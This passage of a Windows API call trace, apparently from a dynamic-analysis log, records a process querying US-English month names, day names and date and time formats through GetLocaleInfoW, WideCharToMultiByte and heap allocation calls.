lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Feb", lpUsedDefaultChar=0x0) returned 4 [0178.142] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e920 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.142] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x1261b8, cchData=4 | out: lpLCData="Mar") returned 4 [0178.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mar", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mar", lpUsedDefaultChar=0x0) returned 4 [0178.143] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e930 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x1261a8, cchData=4 | out: lpLCData="Apr") returned 4 [0178.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apr", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Apr", lpUsedDefaultChar=0x0) returned 4 [0178.143] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e940 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x126198, cchData=4 | out: lpLCData="May") returned 4 [0178.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0178.143] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e950 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x126178, cchData=4 | out: lpLCData="Jun") returned 4 [0178.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jun", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jun", lpUsedDefaultChar=0x0) returned 4 [0178.143] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e960 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.143] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x1261b8, cchData=4 | out: lpLCData="Jul") returned 4 [0178.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jul", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jul", lpUsedDefaultChar=0x0) returned 4 [0178.144] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e970 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x1261a8, cchData=4 | out: lpLCData="Aug") returned 4 [0178.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aug", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Aug", lpUsedDefaultChar=0x0) returned 4 [0178.144] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e980 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x126198, cchData=4 | out: lpLCData="Sep") returned 4 [0178.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sep", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sep", lpUsedDefaultChar=0x0) returned 4 [0178.144] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e990 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x126178, cchData=4 | out: lpLCData="Oct") returned 4 [0178.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oct", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oct", lpUsedDefaultChar=0x0) returned 4 [0178.144] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e9a0 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x1261b8, cchData=4 | out: lpLCData="Nov") returned 4 [0178.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Nov", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nov", lpUsedDefaultChar=0x0) returned 4 [0178.144] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e9b0 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x1261a8, cchData=4 | out: lpLCData="Dec") returned 4 [0178.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Dec", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dec", lpUsedDefaultChar=0x0) returned 4 [0178.144] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24e9c0 [0178.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x126188, cchData=8 | out: lpLCData="January") returned 8 [0178.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="January", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="January", lpUsedDefaultChar=0x0) returned 8 [0178.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24e9d0 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x126178, cchData=9 | out: lpLCData="February") returned 9 [0178.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="February", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="February", lpUsedDefaultChar=0x0) returned 9 [0178.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9) returned 0x24e2d0 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x1261b8, cchData=6 | out: lpLCData="March") returned 6 [0178.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="March", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="March", lpUsedDefaultChar=0x0) returned 6 [0178.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6) returned 0x24e9e0 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x1261a8, cchData=6 | out: lpLCData="April") returned 6 [0178.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="April", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="April", lpUsedDefaultChar=0x0) returned 6 [0178.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6) returned 0x24e9f0 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x126198, cchData=4 | out: lpLCData="May") returned 4 [0178.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0178.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4) returned 0x24ea00 [0178.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x126178, cchData=5 | out: lpLCData="June") returned 5 [0178.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="June", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="June", lpUsedDefaultChar=0x0) returned 5 [0178.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5) returned 0x24ea10 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x1261b8, cchData=5 | out: lpLCData="July") returned 5 [0178.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="July", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="July", lpUsedDefaultChar=0x0) returned 5 [0178.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5) returned 0x24ea20 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x126198, cchData=7 | out: lpLCData="August") returned 7 [0178.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="August", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="August", lpUsedDefaultChar=0x0) returned 7 [0178.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x7) returned 0x24ea30 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x126188, cchData=10 | out: lpLCData="September") returned 10 [0178.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="September", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="September", lpUsedDefaultChar=0x0) returned 10 [0178.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa) returned 0x24e330 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x126178, cchData=8 | out: lpLCData="October") returned 8 [0178.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="October", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="October", lpUsedDefaultChar=0x0) returned 8 [0178.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24ea40 [0178.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x1261a8, cchData=9 | out: lpLCData="November") returned 9 [0178.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="November", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="November", lpUsedDefaultChar=0x0) returned 9 [0178.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9) returned 0x24e348 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x126198, cchData=9 | out: lpLCData="December") returned 9 [0178.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="December", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="December", lpUsedDefaultChar=0x0) returned 9 [0178.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9) returned 0x24e360 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x126198, cchData=3 | out: lpLCData="AM") returned 3 [0178.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AM", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AM", lpUsedDefaultChar=0x0) returned 3 [0178.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3) returned 0x24ea50 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x126178, cchData=3 | out: lpLCData="PM") returned 3 [0178.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PM", cchWideChar=-1, lpMultiByteStr=0x126204, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PM", lpUsedDefaultChar=0x0) returned 3 [0178.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3) returned 0x24ea60 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x1261a8, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0178.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M/d/yyyy", cchWideChar=-1, lpMultiByteStr=0x126240, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M/d/yyyy", lpUsedDefaultChar=0x0) returned 9 [0178.148] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9) returned 0x24e378 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 20 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x126188, cchData=20 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0178.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dddd, MMMM dd, yyyy", cchWideChar=-1, lpMultiByteStr=0x12622c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dddd, MMMM dd, yyyy", lpUsedDefaultChar=0x0) returned 20 [0178.148] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x14) returned 0x24d6d0 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x126188, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0178.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h:mm:ss tt", cchWideChar=-1, lpMultiByteStr=0x126218, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h:mm:ss tt", lpUsedDefaultChar=0x0) returned 11 [0178.148] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb) returned 0x24e390 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x20001009, lpLCData=0x126200, cchData=2 | out: lpLCData="\x01") returned 2 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.148] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24ea70 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x24ea70, cchData=4 | out: lpLCData="Mon") returned 4 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.148] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24ea80 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x24ea80, cchData=4 | out: lpLCData="Tue") returned 4 [0178.148] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.148] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24ea90 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x24ea90, cchData=4 | out: lpLCData="Wed") returned 4 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24eaa0 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x24eaa0, cchData=4 | out: lpLCData="Thu") returned 4 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f380 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x24f380, cchData=4 | out: lpLCData="Fri") returned 4 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f390 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x24f390, cchData=4 | out: lpLCData="Sat") returned 4 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f3a0 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x24f3a0, cchData=4 | out: lpLCData="Sun") returned 4 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe) returned 0x24e3a8 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x24e3a8, cchData=7 | out: lpLCData="Monday") returned 7 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0178.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24e3c0 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x24e3c0, cchData=8 | out: lpLCData="Tuesday") returned 8 [0178.149] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x14) returned 0x24d6f0 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x24d6f0, cchData=10 | out: lpLCData="Wednesday") returned 10 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x24d710 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x24d710, cchData=9 | out: lpLCData="Thursday") returned 9 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe) returned 0x24e3d8 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x24e3d8, cchData=7 | out: lpLCData="Friday") returned 7 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x24d730 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x24d730, cchData=9 | out: lpLCData="Saturday") returned 9 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe) returned 0x24e3f0 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x24e3f0, cchData=7 | out: lpLCData="Sunday") returned 7 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f3b0 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x24f3b0, cchData=4 | out: lpLCData="Jan") returned 4 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f3c0 [0178.150] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x24f3c0, cchData=4 | out: lpLCData="Feb") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f3d0 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x24f3d0, cchData=4 | out: lpLCData="Mar") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f3e0 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x24f3e0, cchData=4 | out: lpLCData="Apr") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f3f0 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x24f3f0, cchData=4 | out: lpLCData="May") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f400 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x24f400, cchData=4 | out: lpLCData="Jun") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f410 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x24f410, cchData=4 | out: lpLCData="Jul") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f420 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x24f420, cchData=4 | out: lpLCData="Aug") returned 4 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f430 [0178.151] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x24f430, cchData=4 | out: lpLCData="Sep") returned 4 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f440 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x24f440, cchData=4 | out: lpLCData="Oct") returned 4 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f450 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x24f450, cchData=4 | out: lpLCData="Nov") returned 4 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0178.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24f460 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x24f460, cchData=4 | out: lpLCData="Dec") returned 4 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0178.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24e408 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x24e408, cchData=8 | out: lpLCData="January") returned 8 [0178.152] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x0, cchData=0 | out: 